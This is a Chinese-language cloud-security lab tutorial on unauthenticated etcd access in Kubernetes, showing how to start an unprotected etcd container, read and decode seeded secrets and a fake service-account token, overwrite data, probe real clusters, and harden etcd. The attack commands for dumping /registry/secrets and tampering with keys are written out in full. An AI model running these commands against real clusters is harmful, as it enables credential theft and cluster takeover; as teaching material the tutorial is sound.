云安全 · 05 · etcd 安全:未授权访问与数据泄露

etcd 是 Kubernetes 的"数据库",集群里所有对象(包括 Secret)都存在这里。etcd 一旦被未授权访问,等于整个集群的机密全部泄露,甚至可被篡改。


一、etcd 是什么

etcd 是一个分布式键值(Key-Value)存储 ,特点是强一致(基于 Raft 共识算法)、高可用。它最出名的用途就是作为 Kubernetes 的唯一数据存储后端

在 K8s 里:

  • kubectl create secret,Secret 最终被序列化后存进 etcd

  • apiserver 是唯一直接读写 etcd 的组件。

  • 集群的一切状态------Pod、Service、Secret、ServiceAccount token、RBAC 规则------都在 etcd 里

一句话:拿到 etcd = 拿到整个集群的"数据库文件"。

本实验的 k3s 默认用 SQLite 作为数据存储,不直接暴露 etcd。为了教学,我们单独用容器起了一个无认证的 etcd(模拟生产中被错误暴露的 etcd)。


二、etcd 基础概念

2.1 端口

端口 用途 说明
2379 客户端通信(client) etcdctl、apiserver 用它读写数据
2380 节点间通信(peer) 集群内部 Raft 复制

2379 是攻击者最关心的端口。

2.2 API 版本

etcd 有 v2 和 v3 两套 API,数据不互通

  • v2:HTTP + JSON,路径式(/v2/keys/...)。

  • v3:gRPC(也支持 HTTP/JSON 网关),支持 MVCC、事务、租约。

现在主流是 v3,工具用 etcdctl

2.3 安全机制(正常应该有的)

机制 参数 作用
客户端证书认证 --client-cert-auth 客户端必须带证书才能连
TLS 加密 --cert-file/--key-file/--trusted-ca-file 通信加密
身份认证 --auth-token + 用户密码 v3 支持 RBAC
只监听内网 --listen-client-urls 限制监听地址

未授权访问的典型成因 :没开 --client-cert-auth、没设密码、且 2379 暴露到可访问的网络。


三、实验环境搭建

远端脚本:

复制代码
bash /opt/cloudsec-labs/etcd/start-etcd.sh

脚本核心命令:

复制代码
docker run -d --name etcd-lab \
  -p 2379:2379 -p 2380:2380 \
  -v etcd-lab-data:/etcd-data \
  quay.io/coreos/etcd:v3.5.15 \
  /usr/local/bin/etcd \
    --name=etcd-lab \
    --data-dir=/etcd-data \
    --listen-client-urls=http://0.0.0.0:2379 \
    --advertise-client-urls=http://192.168.143.156:2379 \
    --listen-peer-urls=http://0.0.0.0:2380 \
    --initial-advertise-peer-urls=http://192.168.143.156:2380 \
    --initial-cluster=etcd-lab=http://192.168.143.156:2380

逐段解释:

  • -p 2379:2379 -p 2380:2380:把容器端口映射到宿主机(宿主端口:容器端口)。

  • -v etcd-lab-data:/etcd-data:用一个命名卷持久化数据。

  • quay.io/coreos/etcd:v3.5.15:etcd 官方镜像(在 quay.io 上)。

  • --name=etcd-lab:节点名。

  • --data-dir=/etcd-data:数据目录。

  • --listen-client-urls=http://0.0.0.0:2379监听所有网卡的 2379(这就是暴露的根源;生产应只监听内网 IP)。

  • --advertise-client-urls:告诉客户端用哪个地址连。

  • --listen-peer-urls / --initial-advertise-peer-urls / --initial-cluster:peer 集群配置(单节点也要写)。

  • 注意:整条命令没有任何 --client-cert-auth、没有 TLS、没有密码 → 无认证。

真实回显:

复制代码
+-----------------------+------------------+---------+---------+-----------+------------+-----------+------------+--------------------+--------+
|       ENDPOINT        |        ID        | VERSION | DB SIZE | IS LEADER | IS LEARNER | RAFT TERM | RAFT INDEX | RAFT APPLIED INDEX | ERRORS |
+-----------------------+------------------+---------+---------+-----------+------------+-----------+------------+--------------------+--------+
| http://127.0.0.1:2379 | 45275cf9dde76f4e |  3.5.15 |   20 kB |      true |      false |         2 |          4 |                  4 |        |
+-----------------------+------------------+---------+---------+-----------+------------+-----------+------------+--------------------+--------+
[!] 注意:该实例未开启客户端证书认证(--client-cert-auth),任何人可读写。

四、etcdctl 使用

etcdctl 是 etcd 的命令行客户端。v3 需要设置 ETCDCTL_API=3(旧版本必须,新版本默认 v3)。

由于攻击者机器上不一定装了 etcdctl,脚本用一次性容器来当客户端:

复制代码
bash /opt/cloudsec-labs/etcd/etcdctl.sh get / --prefix --keys-only

脚本内容:

复制代码
docker run --rm --network host quay.io/coreos/etcd:v3.5.15 \
  /usr/local/bin/etcdctl --endpoints=http://192.168.143.156:2379 "$@"

逐段解释:

  • docker run --rm:跑完就删的临时容器。

  • --network host:容器直接用宿主机网络(这样能访问 2379)。

  • --endpoints=http://192.168.143.156:2379:指定 etcd 地址。

  • "$@":把脚本收到的参数原样传给 etcdctl。

常用子命令:

命令 作用
get <key> 读取一个 key
get <prefix> --prefix 按前缀读取一批
--keys-only 只列出 key,不显示值
put <key> <value> 写入/覆盖
del <key> 删除
watch <key> 监听变化
endpoint status 查看集群状态

五、模拟 K8s 数据

K8s 把数据按固定前缀存放:

前缀 内容
/registry/secrets/<namespace>/<name> Secret(base64)
/registry/serviceaccounts/<ns>/<name> ServiceAccount
/registry/pods/<ns>/<name> Pod
/registry/roles/.../registry/rolebindings/... RBAC

写入模拟数据:

复制代码
bash /opt/cloudsec-labs/etcd/seed-data.sh

核心命令:

复制代码
docker exec etcd-lab /usr/local/bin/etcdctl --endpoints=http://127.0.0.1:2379 \
  put /registry/secrets/default/db-password \
  "$(printf 'admin:Passw0rd!2026' | base64)"

逐段解释:

  • docker exec etcd-lab ...:进入 etcd 容器执行 etcdctl。

  • put /registry/secrets/default/db-password:写一个 key,路径模仿 K8s 的 Secret 存储位置。

  • printf 'admin:Passw0rd!2026' | base64:把明文密码转成 base64(K8s Secret 就是这样存的)。printfecho 更可控(不额外加换行)。

真实回显(列出已写入的 key):

复制代码
/registry/pods/default/nginx-7d8f9c-abcde
/registry/secrets/default/db-password
/registry/secrets/kube-system/default-token-abc12/token

六、攻击:未授权读取

攻击者视角(不认证、直接读):

复制代码
bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/default/db-password --print-value-only
  • --print-value-only:只打印值,方便直接拿去解码。

真实回显:

复制代码
YWRtaW46UGFzc3cwcmQhMjAyNg==

解码:

复制代码
bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/default/db-password --print-value-only | base64 -d

输出:

复制代码
admin:Passw0rd!2026

这就是 K8s Secret 泄露的完整过程:未授权访问 etcd → 读取 Secret → base64 解码 → 拿到明文密码。

列出所有 key(信息收集):

复制代码
bash /opt/cloudsec-labs/etcd/etcdctl.sh get / --prefix --keys-only

真实回显:

复制代码
/registry/pods/default/nginx-7d8f9c-abcde
/registry/secrets/default/db-password
/registry/secrets/kube-system/default-token-abc12/token

etcdctl 如果没设置 ETCDCTL_API=3,会按 v2 解析并报错。可以用 ETCDCTL_API=3 etcdctl ... 显式指定。官方 3.4+ 默认 v3。


七、攻击:读取 ServiceAccount Token

/registry/secrets/kube-system/default-token-abc12/token 里模拟了一个 SA token:

复制代码
bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/kube-system/default-token-abc12/token --print-value-only

真实回显:

复制代码
eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2UifQ.fake-jwt-token-for-lab

在真实集群里,这个 token 可以直接拿去调 apiserver。结合第 04 篇的 curl -H "Authorization: Bearer <token>",攻击者就能以该身份操作集群。

攻击链:未授权 etcd → 读 SA token → 冒充 Pod 身份 → 根据 RBAC 权限横向/提权。


八、攻击:篡改数据

etcd 未授权不只是"读",还能"写"。攻击者可以:

  • 修改 Secret(把服务密码改成自己的)。

  • 修改 RBAC(给某个 SA 加 cluster-admin)。

  • 删除数据造成拒绝服务。

  • 植入恶意配置。

示例(仅演示,勿在生产尝试):

复制代码
bash /opt/cloudsec-labs/etcd/etcdctl.sh put /registry/secrets/default/db-password "$(printf 'admin:hacked' | base64)"

危害:比只读更严重,属于完整性破坏,可导致业务被完全控制。


九、真实环境中的利用流程

在真实 K8s 里,攻击者通常这样发现并利用 etcd:

  1. 发现:扫描内网 2379 端口;或通过 SSRF 访问;或从节点上的 etcd 客户端证书文件读取。

  2. 探测

    复制代码
    curl -s http://<ip>:2379/version
    curl -s http://<ip>:2379/v2/keys/   # v2 直接遍历
  3. 读取

    复制代码
    ETCDCTL_API=3 etcdctl --endpoints=<ip>:2379 get / --prefix --keys-only
    ETCDCTL_API=3 etcdctl --endpoints=<ip>:2379 get /registry/secrets --prefix
  4. 解码 Secret,获取数据库密码、云 AK/SK、SA token。

  5. 横向:用泄露凭证访问其他系统,或直接用 SA token 操作集群。


十、防御

10.1 核心措施

  1. 开启客户端证书认证--client-cert-auth,并配置 --trusted-ca-file

  2. 启用 TLS--cert-file--key-file

  3. 只监听内网/本机--listen-client-urls=http://127.0.0.1:2379 或内网 IP,绝不监听 0.0.0.0 并暴露到公网

  4. 防火墙/安全组:2379/2380 只允许 apiserver 节点访问。

  5. 启用 etcd RBACauth enable),最小权限。

  6. Secret 静态加密 :在 apiserver 配置 EncryptionConfiguration,让写进 etcd 的 Secret 是密文(即使 etcd 泄露也拿不到明文)。

  7. 定期备份etcdctl snapshot save,并妥善保管(备份文件同样敏感)。

  8. 审计与监控:监控对 etcd 的异常访问。

10.2 检查清单

复制代码
# 确认 etcd 是否监听在公网
ss -lntp | grep 2379
# 确认是否开启客户端证书认证(看启动参数)
ps -ef | grep etcd | grep client-cert-auth

十一、清理实验

复制代码
docker rm -f etcd-lab

十二、本篇小结

  1. etcd 是 K8s 的唯一数据存储,含所有 Secret 和 token

  2. 客户端端口 2379 ,peer 端口 2380

  3. 未授权成因:无 TLS、无 --client-cert-auth、监听 0.0.0.0 且暴露。

  4. 利用:get / --prefix --keys-only 列 key → 读 /registry/secrets/... → base64 解码。

  5. 危害不止泄密,还能篡改

  6. 防御核心:客户端证书 + TLS + 只监听内网 + Secret 静态加密

相关推荐
AINative软件工程1 天前
LLM 应用的 Graceful Shutdown 工程实践:正在进行的 AI 请求如何安全停止
云原生·ai编程
武汉唯众智创1 天前
云计算实训室建设指南(2026版):从技能大赛赛项标准反推架构、课程与落地路径
云原生·kubernetes·云计算·云计算实训室·云计算教学平台·职业技能大赛
阿里云云原生2 天前
剧透丨AI 原生研发组织的探索和实践
云原生
探索云原生2 天前
KubeClipper 1.7.0 发布:Operation 优化与 Kubernetes 1.37 支持
linux·docker·云原生·kubernetes·go
MrSYJ2 天前
Veth pair 细讲
docker·云原生·容器
Elastic 中国社区官方博客2 天前
将 Vercel 数据导入 Elastic:无需安装任何东西的无服务器可观测性
大数据·运维·elasticsearch·搜索引擎·云原生·serverless·全文检索
Eminem892 天前
11、k8s控制器Replicaset
k8s
阿里云云原生3 天前
云栖剧透丨四场论坛,看清智能体走进生产的关键路径
云原生
Henry-SAP3 天前
SAP PP模块核心机制解析
人工智能·云原生·sap·erp